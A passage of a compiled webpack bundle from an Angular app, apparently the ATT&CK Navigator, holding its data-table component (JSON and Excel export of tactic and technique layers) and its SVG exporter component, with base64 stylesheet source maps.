CAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfVxufVxuXG4ubGF5b3V0IHtcbiAgICB3aWR0aDogMTAwcHg7XG4gICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICBzZWxlY3Qge1xuICAgICAgICB3aWR0aDogMTAwJTtcbiAgICB9XG4gICAgXG4gICAgLnNlY3Rpb24ge1xuICAgICAgICBwYWRkaW5nOiAxMHB4O1xuICAgICAgICAmKy5zZWN0aW9uIHtcbiAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAkcGFuZWwtbGlnaHQ7XG4gICAgICAgIH1cbiAgICB9XG59XG5cbiJdfQ== */" + +/***/ }), + +/***/ "./src/app/datatable/data-table.component.ts": +/*!***************************************************!*\ + !*** ./src/app/datatable/data-table.component.ts ***! + \***************************************************/ +/*! exports provided: DataTableComponent */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "DataTableComponent", function() { return DataTableComponent; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _data_service__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../data.service */ "./src/app/data.service.ts"); +/* harmony import */ var _config_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../config.service */ "./src/app/config.service.ts"); +/* harmony import */ var _tabs_tabs_component__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../tabs/tabs.component */ "./src/app/tabs/tabs.component.ts"); +/* harmony import */ var _viewmodels_service__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../viewmodels.service */ "./src/app/viewmodels.service.ts"); +/* harmony import */ var _angular_platform_browser__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! @angular/platform-browser */ "./node_modules/@angular/platform-browser/fesm5/platform-browser.js"); +/* harmony import */ var exceljs_dist_es5_exceljs_browser__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! exceljs/dist/es5/exceljs.browser */ "./node_modules/exceljs/dist/es5/exceljs.browser.js"); +/* harmony import */ var exceljs_dist_es5_exceljs_browser__WEBPACK_IMPORTED_MODULE_6___default = /*#__PURE__*/__webpack_require__.n(exceljs_dist_es5_exceljs_browser__WEBPACK_IMPORTED_MODULE_6__); +/* harmony import */ var is_js__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! is_js */ "./node_modules/is_js/is.js"); +/* harmony import */ var is_js__WEBPACK_IMPORTED_MODULE_7___default = /*#__PURE__*/__webpack_require__.n(is_js__WEBPACK_IMPORTED_MODULE_7__); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + + + + + + + +var DataTableComponent = /** @class */ (function () { + function DataTableComponent(dataService, tabs, sanitizer, viewModelsService, configService) { + this.dataService = dataService; + this.tabs = tabs; + this.sanitizer = sanitizer; + this.viewModelsService = viewModelsService; + this.configService = configService; + //items for custom context menu + this.customContextMenuItems = []; + //is the legend panel currently expanded + this.showingLegend = false; + this.currentDropdown = ""; //current dropdown menu + // edit field bindings + this.commentEditField = ""; + this.scoreEditField = ""; + } + ////////////////////////////////////////////////////////// + // Stringifies the current view model into a json string// + // stores the string as a blob // + // and then saves the blob as a json file // + ////////////////////////////////////////////////////////// + DataTableComponent.prototype.saveLayerLocally = function () { + var json = this.viewModel.serialize(); //JSON.stringify(this.viewModel.serialize(), null, "\t"); + var blob = new Blob([json], { type: "text/json" }); + var filename = this.viewModel.name.replace(/ /g, "_") + ".json"; + // FileSaver.saveAs(blob, this.viewModel.name.replace(/ /g, "_") + ".json"); + this.saveBlob(blob, filename); + }; + DataTableComponent.prototype.saveBlob = function (blob, filename) { + if (is_js__WEBPACK_IMPORTED_MODULE_7__["ie"]()) { //internet explorer + window.navigator.msSaveBlob(blob, filename); + } + else { + var svgUrl = URL.createObjectURL(blob); + var downloadLink = document.createElement("a"); + downloadLink.href = svgUrl; + downloadLink.download = filename; + document.body.appendChild(downloadLink); + downloadLink.click(); + document.body.removeChild(downloadLink); + } + }; + ///////////////////////////// + // EXPORT TO EXCEL // + ///////////////////////////// + DataTableComponent.prototype.saveLayerLocallyExcel = function () { + var _this = this; + var workbook = new exceljs_dist_es5_exceljs_browser__WEBPACK_IMPORTED_MODULE_6__["Workbook"](); + var matrices = this.viewModel.filters.filterMatrices(this.dataService.matrices); + for (var _i = 0, matrices_1 = matrices; _i < matrices_1.length; _i++) { + var matrix = matrices_1[_i]; + var worksheet = workbook.addWorksheet(matrix.name); + // create tactic columns + var columns = this.viewModel.filterTactics(matrix.tactics, matrix).map(function (tactic) { return { header: _this.getDisplayName(tactic), key: tactic.name }; }); + worksheet.columns = columns; + var _loop_1 = function (tactic) { + var tacticCol = worksheet.getColumn(tactic.name); + var techniques = this_1.viewModel.applyControls(tactic.techniques, tactic, matrix); + var techniqueCells = techniques.map(function (technique) { return technique.name; }); + var subtechniqueList = []; + // create subtechnique cells, if shown + var subtechniqueCells = []; + for (var _i = 0, techniques_1 = techniques; _i < techniques_1.length; _i++) { + var technique = techniques_1[_i]; + var techniqueRow = techniqueCells.indexOf(technique.name); + var tvm = this_1.viewModel.getTechniqueVM(technique, tactic); + if (tvm.showSubtechniques) { + // retrieve subtechniques + var subtechniques = this_1.viewModel.applyControls(technique.subtechniques, tactic, matrix) + .map(function (sub) { return sub.name; }); + subtechniqueList = subtechniqueList.concat(technique.subtechniques); + // format technique cells for subtechniques + var excelIndex = 0; + for (var _a = 0, subtechniques_1 = subtechniques; _a < subtechniques_1.length; _a++) { + var subtechnique = subtechniques_1[_a]; + if (excelIndex !== 0) { + techniqueCells.splice(techniqueRow + excelIndex, 0, technique.name); + } + subtechniqueCells[techniqueRow + excelIndex++] = subtechnique; + } + // merge technique cells + if (excelIndex > 0) { + worksheet.mergeCells(techniqueRow + 2, tacticCol.number, techniqueRow + excelIndex + 1, tacticCol.number); + } + } + } + if (subtechniqueCells.length > 0) { + // add subtechniques column + var id = columns.findIndex(function (col) { return col.key == tactic.name; }); + columns.splice(id + 1, 0, { header: this_1.getDisplayName(tactic), key: tactic.name + "Subtechniques" }); + worksheet.columns = columns; + // merge subtechniques header + var subtechniqueCol = worksheet.getColumn(tactic.name + "Subtechniques"); + worksheet.mergeCells(tacticCol.letter + '1:' + subtechniqueCol.letter + '1'); + subtechniqueCol.values = [tactic.name.toString() + "Subtechniques"].concat(subtechniqueCells); + // style subtechnique cells + subtechniqueCol.eachCell(function (cell) { + if (cell.row > 1) { + if (cell.value && cell.value !== undefined) { + var subtechnique = subtechniqueList.find(function (s) { + return s.name == cell.value.substring(cell.value.indexOf(':') + 1).trim() || s.attackID === cell.value; + }); + var svm = _this.viewModel.getTechniqueVM(subtechnique, tactic); + _this.styleCells(cell, subtechnique, svm); + } + } + }); + } + tacticCol.values = [this_1.getDisplayName(tactic)].concat(techniqueCells); + // style technique cells + tacticCol.eachCell(function (cell) { + if (cell.row > 1) { + if (cell.value && cell.value !== undefined) { + var technique = techniques.find(function (t) { + return t.name === cell.value.substring(cell.value.indexOf(':') + 1).trim() || t.attackID === cell.value; + }); + var tvm = _this.viewModel.getTechniqueVM(technique, tactic); + _this.styleCells(cell, technique, tvm); + } + } + }); + }; + var this_1 = this; + // create cells + for (var _a = 0, _b = this.viewModel.filterTactics(matrix.tactics, matrix); _a < _b.length; _a++) { + var tactic = _b[_a]; + _loop_1(tactic); + } + // style tactic headers + worksheet.columns.forEach(function (column) { + if (_this.viewModel.layout.showID && !_this.viewModel.layout.showName) { + column.width = column.header.length < 15 ? 15 : column.header.length; + } + else { + column.width = column.header.length < 30 ? 30 : column.header.length; + } + }); + worksheet.getRow(1).alignment = { horizontal: 'center' }; + worksheet.getRow(1).border = { bottom: { style: 'thin' } }; + worksheet.getRow(1).font = { bold: true }; + if (this.viewModel.showTacticRowBackground) { + worksheet.getRow(1).fill = { type: 'pattern', pattern: 'solid', fgColor: { 'argb': 'FF' + this.viewModel.tacticRowBackground.substring(1) } }; + worksheet.getRow(1).font = { bold: true, color: { "argb": 'FF' + tinycolor.mostReadable(this.viewModel.tacticRowBackground, ["white", "black"]).toHex() } }; + } + } + // save file + workbook.xlsx.writeBuffer().then(function (data) { + var blob = new Blob([data], { type: "application/octet-stream" }); + var filename = _this.viewModel.name.replace(/ /g, "_") + ".xlsx"; + _this.saveBlob(blob, filename); + }); + }; + /** + * Get the display name for technique/tactic as shown in layout + */ + DataTableComponent.prototype.getDisplayName = function (technique) { + if (this.viewModel.layout.showID && this.viewModel.layout.showName) { + return technique.attackID + ': ' + technique.name; + } + else if (this.viewModel.layout.showID) { + return technique.attackID; + } + else { + return technique.name; + } + }; + /** + * Helper function for exporting to excel to stylize cells + */ + DataTableComponent.prototype.styleCells = function (cell, technique, tvm) { + cell.value = this.getDisplayName(technique); + // cell format + cell.alignment = { vertical: 'top', horizontal: 'left' }; + if (tvm.enabled) { + if (tvm.color) { //manually assigned + cell.fill = { type: 'pattern', pattern: 'solid', fgColor: { argb: 'FF' + tvm.color.substring(1) } }; + cell.font = { color: { 'argb': 'FF' + tinycolor.mostReadable(tvm.color, ["white", "black"]).toHex() } }; + } + else if (tvm.score) { //score assigned + cell.fill = { type: 'pattern', pattern: 'solid', fgColor: { argb: 'FF' + tvm.scoreColor.toHex() } }; + cell.font = { color: { 'argb': 'FF' + tinycolor.mostReadable(tvm.scoreColor, ["white", "black"]).toHex() } }; + } + if (tvm.comment) { //comment present on technique + cell.note = tvm.comment; + } + } + else { //disabled + cell.font = { color: { 'argb': 'FFBCBCBC' } }; + } + // subtechniques border + if (tvm.showSubtechniques) { + cell.border = { top: { style: 'thin' }, bottom: { style: 'thin' }, left: { style: 'thin' } }; + } + else if (technique.isSubtechnique) { + cell.border = { top: { style: 'thin' }, bottom: { style: 'thin' }, right: { style: 'thin' } }; + } + }; + /** + * Angular lifecycle hook + */ + DataTableComponent.prototype.ngAfterViewInit = function () { + // setTimeout(() => this.exportRender(), 500); + }; + // open custom url in a new tab + DataTableComponent.prototype.openCustomURL = function (event, technique, url) { + // var formattedTechniqueName = this.contextMenuSelectedTechnique.name.replace(/ /g, "_"); + // var formattedURL = url.replace(/~Technique_ID~/g, this.contextMenuSelectedTechnique.technique_id); + // formattedURL = formattedURL.replace(/~Technique_Name~/g, formattedTechniqueName); + // formattedURL = formattedURL.replace(/~Tactic_Name~/g, this.contextMenuSelectedTactic); + // var win = window.open(formattedURL); + // if (win) { + // win.focus(); + // } else { + // alert('Please allow popups for this website'); + // } + }; + /** + * triggered on left click of technique + * @param technique technique which was left clicked + * @param addToSelection add to the technique selection (shift key) or replace selection? + */ + DataTableComponent.prototype.onTechniqueSelect = function (technique, addToSelection, eventX, eventY) { + if (!this.viewModel.isCurrentlyEditing()) { + if (["comment", "score", "colorpicker"].includes(this.currentDropdown)) + this.currentDropdown = ""; //remove technique control dropdowns, because everything was deselected + return; + } + //else populate editing controls + this.populateEditFields(); + }; + /** + * Show all sub-techniques in layout view + */ + DataTableComponent.prototype.expandSubtechniques = function () { + if (this.viewModel.layout.layout == "mini") + return; //control disabled in mini layout + for (var _i = 0, _a = this.dataService.techniques; _i < _a.length; _i++) { + var technique = _a[_i]; + if (technique.subtechniques.length > 0) { + for (var _b = 0, _c = technique.get_all_technique_tactic_ids(); _b < _c.length; _b++) { + var id = _c[_b]; + var tvm = this.viewModel.getTechniqueVM_id(id); + tvm.showSubtechniques = true; + } + } + } + }; + /** + * Hide all sub-techniques in layout view + */ + DataTableComponent.prototype.collapseSubtechniques = function () { + if (this.viewModel.layout.layout == "mini") + return; //control disabled in mini layout + this.viewModel.techniqueVMs.forEach(function (tvm, key) { + tvm.showSubtechniques = false; + }); + }; + /** + * populate edit fields. Gets common values if common values exist for all editing values + */ + DataTableComponent.prototype.populateEditFields = function () { + this.commentEditField = this.viewModel.getEditingCommonValue("comment"); + this.scoreEditField = this.viewModel.getEditingCommonValue("score"); + }; + /** + * Set the state (enabled/disabled) of the selected features + */ + DataTableComponent.prototype.setSelectedState = function () { + var currentState = this.viewModel.getEditingCommonValue('enabled'); + if (currentState === '') + this.viewModel.editSelectedTechniques('enabled', false); + else + this.viewModel.editSelectedTechniques('enabled', !currentState); + }; + //sanitize the given css so that it can be displayed without error + DataTableComponent.prototype.sanitize = function (css) { + return this.sanitizer.bypassSecurityTrustStyle(css); + }; + /** + * Is score input valid number + * @param event keypress event just in case we need it + * @return true if valid number + */ + DataTableComponent.prototype.validateScoreInput = function (event) { + var result = isNaN(Number(this.scoreEditField)); + return result; + }; + /** + * Return whether the given dropdown element would overflow the side of the page if aligned to the right of its anchor + * @param dropdown the DOM node of the panel + * @return true if it would overflow + */ + DataTableComponent.prototype.checkalign = function (dropdown) { + // console.log(anchor) + var anchor = dropdown.parentNode; + return anchor.getBoundingClientRect().left + dropdown.getBoundingClientRect().width > document.body.clientWidth; + }; + /** + * open an export layer render tab for the current layer + */ + DataTableComponent.prototype.exportRender = function () { + var viewModelCopy = new _viewmodels_service__WEBPACK_IMPORTED_MODULE_4__["ViewModel"](this.viewModel.name, this.viewModel.domain, "vm" + this.viewModelsService.getNonce(), this.dataService); + viewModelCopy.deSerialize(this.viewModel.serialize()); + // let exportData = new ExportData(viewModelCopy, JSON.parse(JSON.stringify(this.tactics)), this.dataService.tacticNames(this.filteredTechniques), JSON.parse(JSON.stringify(this.filteredTechniques))); + this.tabs.newExporterTab(this.viewModel); + }; + DataTableComponent.ctorParameters = function () { return [ + { type: _data_service__WEBPACK_IMPORTED_MODULE_1__["DataService"] }, + { type: _tabs_tabs_component__WEBPACK_IMPORTED_MODULE_3__["TabsComponent"] }, + { type: _angular_platform_browser__WEBPACK_IMPORTED_MODULE_5__["DomSanitizer"] }, + { type: _viewmodels_service__WEBPACK_IMPORTED_MODULE_4__["ViewModelsService"] }, + { type: _config_service__WEBPACK_IMPORTED_MODULE_2__["ConfigService"] } + ]; }; + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _viewmodels_service__WEBPACK_IMPORTED_MODULE_4__["ViewModel"]) + ], DataTableComponent.prototype, "viewModel", void 0); + DataTableComponent = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Component"])({ + selector: 'DataTable', + template: __webpack_require__(/*! raw-loader!./data-table.component.html */ "./node_modules/raw-loader/index.js!./src/app/datatable/data-table.component.html"), + encapsulation: _angular_core__WEBPACK_IMPORTED_MODULE_0__["ViewEncapsulation"].None, + styles: [__webpack_require__(/*! ./data-table.component.scss */ "./src/app/datatable/data-table.component.scss")] + }), + __metadata("design:paramtypes", [_data_service__WEBPACK_IMPORTED_MODULE_1__["DataService"], + _tabs_tabs_component__WEBPACK_IMPORTED_MODULE_3__["TabsComponent"], + _angular_platform_browser__WEBPACK_IMPORTED_MODULE_5__["DomSanitizer"], + _viewmodels_service__WEBPACK_IMPORTED_MODULE_4__["ViewModelsService"], + _config_service__WEBPACK_IMPORTED_MODULE_2__["ConfigService"]]) + ], DataTableComponent); + return DataTableComponent; +}()); + + + +/***/ }), + +/***/ "./src/app/exporter/exporter.component.scss": +/*!**************************************************!*\ + !*** ./src/app/exporter/exporter.component.scss ***! + \**************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = ".svgcontainer {\n overflow-x: auto;\n}\n\n.dropdown-container {\n padding: 10px;\n top: 34px;\n}\n\n.dropdown-container ul {\n padding-left: 0;\n}\n\n.dropdown-container ul li {\n list-style: none;\n text-align: left;\n}\n\n.dropdown-container ul li input.has-suffix {\n text-align: right;\n -moz-appearance: textfield;\n}\n\n.dropdown-container ul li input.has-suffix::-webkit-inner-spin-button, .dropdown-container ul li input.has-suffix::-webkit-outer-spin-button {\n display: none;\n}\n\n.iewarning {\n color: red;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3JjL2FwcC9leHBvcnRlci9leHBvcnRlci5jb21wb25lbnQuc2NzcyIsInNyYy9hcHAvZXhwb3J0ZXIvZXhwb3J0ZXIuY29tcG9uZW50LnNjc3MiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUE7RUFDSSxnQkFBQTtBQ0NKOztBREVBO0VBQ0ksYUFBQTtFQUNBLFNBQUE7QUNDSjs7QURBSTtFQUNJLGVBQUE7QUNFUjs7QUREUTtFQUNJLGdCQUFBO0VBQ0EsZ0JBQUE7QUNHWjs7QURGWTtFQUNJLGlCQUFBO0VBS0EsMEJBQUE7QUNBaEI7O0FESmdCO0VBRUksYUFBQTtBQ0twQjs7QURHQTtFQUNJLFVBQUE7QUNBSiIsImZpbGUiOiJzcmMvYXBwL2V4cG9ydGVyL2V4cG9ydGVyLmNvbXBvbmVudC5zY3NzIiwic291cmNlc0NvbnRlbnQiOlsiLnN2Z2NvbnRhaW5lciB7XG4gICAgb3ZlcmZsb3cteDogYXV0b1xufVxuXG4uZHJvcGRvd24tY29udGFpbmVyIHtcbiAgICBwYWRkaW5nOiAxMHB4O1xuICAgIHRvcDogMzRweDtcbiAgICB1bCB7XG4gICAgICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICAgICAgbGkge1xuICAgICAgICAgICAgbGlzdC1zdHlsZTogbm9uZTtcbiAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7XG4gICAgICAgICAgICBpbnB1dC5oYXMtc3VmZml4IHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodDtcbiAgICAgICAgICAgICAgICAmOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uLFxuICAgICAgICAgICAgICAgICY6Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24ge1xuICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIC1tb3otYXBwZWFyYW5jZTogdGV4dGZpZWxkO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfVxufVxuXG4uaWV3YXJuaW5nIHtcbiAgICBjb2xvcjogcmVkO1xufSIsIi5zdmdjb250YWluZXIge1xuICBvdmVyZmxvdy14OiBhdXRvO1xufVxuXG4uZHJvcGRvd24tY29udGFpbmVyIHtcbiAgcGFkZGluZzogMTBweDtcbiAgdG9wOiAzNHB4O1xufVxuLmRyb3Bkb3duLWNvbnRhaW5lciB1bCB7XG4gIHBhZGRpbmctbGVmdDogMDtcbn1cbi5kcm9wZG93bi1jb250YWluZXIgdWwgbGkge1xuICBsaXN0LXN0eWxlOiBub25lO1xuICB0ZXh0LWFsaWduOiBsZWZ0O1xufVxuLmRyb3Bkb3duLWNvbnRhaW5lciB1bCBsaSBpbnB1dC5oYXMtc3VmZml4IHtcbiAgdGV4dC1hbGlnbjogcmlnaHQ7XG4gIC1tb3otYXBwZWFyYW5jZTogdGV4dGZpZWxkO1xufVxuLmRyb3Bkb3duLWNvbnRhaW5lciB1bCBsaSBpbnB1dC5oYXMtc3VmZml4Ojotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uLCAuZHJvcGRvd24tY29udGFpbmVyIHVsIGxpIGlucHV0Lmhhcy1zdWZmaXg6Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24ge1xuICBkaXNwbGF5OiBub25lO1xufVxuXG4uaWV3YXJuaW5nIHtcbiAgY29sb3I6IHJlZDtcbn0iXX0= */" + +/***/ }), + +/***/ "./src/app/exporter/exporter.component.ts": +/*!************************************************!*\ + !*** ./src/app/exporter/exporter.component.ts ***! + \************************************************/ +/*! exports provided: ExporterComponent */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ExporterComponent", function() { return ExporterComponent; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _viewmodels_service__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../viewmodels.service */ "./src/app/viewmodels.service.ts"); +/* harmony import */ var _config_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../config.service */ "./src/app/config.service.ts"); +/* harmony import */ var _data_service__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../data.service */ "./src/app/data.service.ts"); +/* harmony import */ var is_js__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! is_js */ "./node_modules/is_js/is.js"); +/* harmony import */ var is_js__WEBPACK_IMPORTED_MODULE_4___default = /*#__PURE__*/__webpack_require__.n(is_js__WEBPACK_IMPORTED_MODULE_4__); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + + + + +var ExporterComponent = /** @class */ (function () { + function ExporterComponent(configService, dataService) { + this.configService = configService; + this.dataService = dataService; + this.config = {}; + this.svgDivName = "svgInsert_tmp"; + this.unitEnum = 0; //counter for unit change ui element + // showItemCount(): boolean {return this.config.showTechniqueCount} + this.buildSVGDebounce = false; + this.config = { + "width": 11, + "height": 8.5, + "headerHeight": 1, + "unit": "in", + "showSubtechniques": "expanded", + "font": 'sans-serif', + "tableBorderColor": "#6B7279", + "showHeader": true, + "legendDocked": true, + "legendX": 0, + "legendY": 0, + "legendWidth": 2, + "legendHeight": 1, + "showLegend": true, + "showFilters": true, + "showAbout": true, + }; + } + ExporterComponent.prototype.isIE = function () { + return is_js__WEBPACK_IMPORTED_MODULE_4__["ie"](); + }; + ExporterComponent.prototype.ngAfterViewInit = function () { + this.svgDivName = "svgInsert" + this.viewModel.uid; + var self = this; + //determine if the layer has any scores + for (var _i = 0, _a = this.dataService.matrices; _i < _a.length; _i++) { + var matrix = _a[_i]; + for (var _b = 0, _c = this.viewModel.filterTactics(matrix.tactics, matrix); _b < _c.length; _b++) { + var tactic = _c[_b]; + for (var _d = 0, _e = this.viewModel.filterTechniques(tactic.techniques, tactic, matrix); _d < _e.length; _d++) { + var technique = _e[_d]; + if (technique.subtechniques.length > 0) { + for (var _f = 0, _g = this.viewModel.filterTechniques(technique.subtechniques, tactic, matrix); _f < _g.length; _f++) { + var subtechnique = _g[_f]; + if (self.viewModel.hasTechniqueVM(subtechnique, tactic)) { + if (self.viewModel.getTechniqueVM(subtechnique, tactic).score != "") + self.hasScores = true; + } + } + } + if (self.viewModel.hasTechniqueVM(technique, tactic)) { + if (self.viewModel.getTechniqueVM(technique, tactic).score != "") + self.hasScores = true; + } + } + } + } + // dynamic legend height according to content; + var legendSectionCount = 0; + if (self.hasScores) + legendSectionCount++; + if (self.hasLegendItems()) + legendSectionCount++; + self.config.legendHeight = 0.5 * legendSectionCount; + //initial legend position for undocked legend + this.config.legendX = this.config.width - this.config.legendWidth - 0.1; + this.config.legendY = this.config.height - this.config.legendHeight - 0.1; + if (this.config.showHeader) + this.config.legendY -= this.config.headerHeight; + //put at the end of the function queue so that the page can render before building the svg + window.setTimeout(function () { self.buildSVG(self); }, 0); + }; + //visibility of SVG parts + //assess data in viewModel + ExporterComponent.prototype.hasName = function () { return this.viewModel.name.length > 0; }; + ExporterComponent.prototype.hasDescription = function () { return this.viewModel.description.length > 0; }; + ExporterComponent.prototype.hasLegendItems = function () { return this.viewModel.legendItems.length > 0; }; + //above && user preferences + ExporterComponent.prototype.showName = function () { return this.config.showAbout && this.hasName() && this.config.showHeader; }; + ExporterComponent.prototype.showDescription = function () { return this.config.showAbout && this.hasDescription() && this.config.showHeader; }; + ExporterComponent.prototype.showLayerInfo = function () { return (this.showName() || this.showDescription()) && this.config.showHeader; }; + ExporterComponent.prototype.showFilters = function () { return this.config.showFilters && this.config.showHeader; }; + ; + ExporterComponent.prototype.showGradient = function () { return this.config.showLegend && this.hasScores && this.config.showHeader; }; + ExporterComponent.prototype.showLegend = function () { return this.config.showLegend && (this.hasLegendItems() || this.hasScores); }; + ExporterComponent.prototype.showLegendInHeader = function () { return this.config.legendDocked && this.showLegend(); }; + ExporterComponent.prototype.buildSVG = function (self, bypassDebounce) { + if (bypassDebounce === void 0) { bypassDebounce = false; } + if (!self) + self = this; //in case we were called from somewhere other than ngViewInit + console.log("settings changed"); + if (self.buildSVGDebounce && !bypassDebounce) { + // console.log("skipping debounce...") + return; + } + if (!bypassDebounce) { + // console.log("debouncing..."); + self.buildSVGDebounce = true; + window.setTimeout(function () { self.buildSVG(self, true); }, 500); + return; + } + self.buildSVGDebounce = false; + console.log("building SVG"); + //check preconditions, make sure they're in the right range + var margin = { top: 5, right: 5, bottom: 5, left: 5 }; + var width = Math.max(self.convertToPx(self.config.width, self.config.unit) - (margin.right + margin.left), 10); + console.log("width", width); + var height = Math.max(self.convertToPx(self.config.height, self.config.unit) - (margin.top + margin.bottom), 10); + console.log("height", height); + var headerHeight = Math.max(self.convertToPx(self.config.headerHeight, self.config.unit), 1); + console.log("headerHeight", headerHeight); + var legendX = Math.max(self.convertToPx(self.config.legendX, self.config.unit), 0); + var legendY = Math.max(self.convertToPx(self.config.legendY, self.config.unit), 0); + var legendWidth = Math.max(self.convertToPx(self.config.legendWidth, self.config.unit), 10); + var legendHeight = Math.max(self.convertToPx(self.config.legendHeight, self.config.unit), 10); + //remove previous graphic + var element = document.getElementById(self.svgDivName); + element.innerHTML = ""; + var svg = d3.select("#" + self.svgDivName).append("svg") + .attr("width", width + margin.left + margin.right) + .attr("height", height + margin.top + margin.bottom) + .attr("xmlns", "http://www.w3.org/2000/svg") + .attr("id", "svg" + self.viewModel.uid) //Tag for downloadSVG + .append("g") + .attr("transform", "translate(" + margin.left + "," + margin.top + ")") + .style("font-family", self.config.font); + var stroke_width = 1; + // ooooo ooooo o888 + // 888 888 ooooooooo8 888 ooooooooo ooooooooo8 oo oooooo oooooooo8 + // 888ooo888 888oooooo8 888 888 888 888oooooo8 888 888 888ooooooo + // 888 888 888 888 888 888 888 888 888 + // o888o o888o 88oooo888 o888o 888ooo88 88oooo888 o888o 88oooooo88 + // o888 + // Essentially, the following functions brute force the optimal text arrangement for each cell + // in the matrix to maximize text size. The algorithm tries different combinations of line breaks + // in the cell text. + /** + * Divide distance into divisions equidistant anchor points S.T they all have equal + * padding from each other and the beginning and end of the distance + * @param distance distance to divide + * @param divisions number of divisions + * @return number[] where each number corresponds to a division-center offset + */ + function getSpacing(distance, divisions) { + distance = distance - 1; //1px padding for border + var spacing = distance / (divisions * 2); + var res = []; + for (var i = 1; i <= divisions * 2; i += 2) { + res.push(1 + (spacing * i)); + } + return res; + } + ; + /** + * Magic function to insert line breaks. + * @param {string[]} words array of words to space + * @param {dom node} self the dom element with the text + * @param {number} xpos x pos to place multiline text at + * @param {number} ypos same but with y + * @param {number} totalDistance total distance to contain broken text. + * amt in excess of spacingDistance + * becomes v padding. + * @param {number} spacingDistance total distance to space text inside, + * should be < totalDistance + * @param {boolean} center if true, center the text in the node, else left-align + * @param {number} cellWidth total width of the cell to put the text in + */ + function insertLineBreaks(words, node, padding, xpos, ypos, totalDistance, spacingDistance, center, cellWidth) { + var el = d3.select(node); + // el.attr("y", y + (totalDistance - spacingDistance) / 2); + //clear previous content + el.text(''); + while (node.firstChild) + node.removeChild(node.firstChild); + var spacing = getSpacing(spacingDistance, words.length); + for (var i = 0; i < words.length; i++) { + var tspan = el.append('tspan').text(words[i]); + if (center) + tspan.attr("text-anchor", "middle"); + // if (i > 0) + var offsetY = ((totalDistance - spacingDistance) / 2) + ypos + spacing[i]; + tspan + .attr('x', center ? xpos + (cellWidth / 2) : xpos + padding) + .attr('y', offsetY); + } + } + ; + /** + * Given an array of words, find the optimal font size for the array of words to be + * broken onto 1 line each. + * @param {string[]} words to be broken onto each line + * @param {dom node} node the dom node of the cell + * @param {cellWidth} number the width of the cell + * @param {cellHeight} number the height of the cell + * @param {boolean} center center the text? + * @param {number} maxFontSize max font size, default is 12 + * @return {number} the largest possible font size + * not larger than 12 + */ + function findSpace(words, node, cellWidth, cellHeight, center, maxFontSize) { + if (maxFontSize === void 0) { maxFontSize = 12; } + var padding = 4; //the amount of padding on the left and right + //break into multiple lines + var breakDistance = Math.min(cellHeight, (maxFontSize + 3) * words.length); + insertLineBreaks(words, node, padding, 0, 0, cellHeight, breakDistance, center, 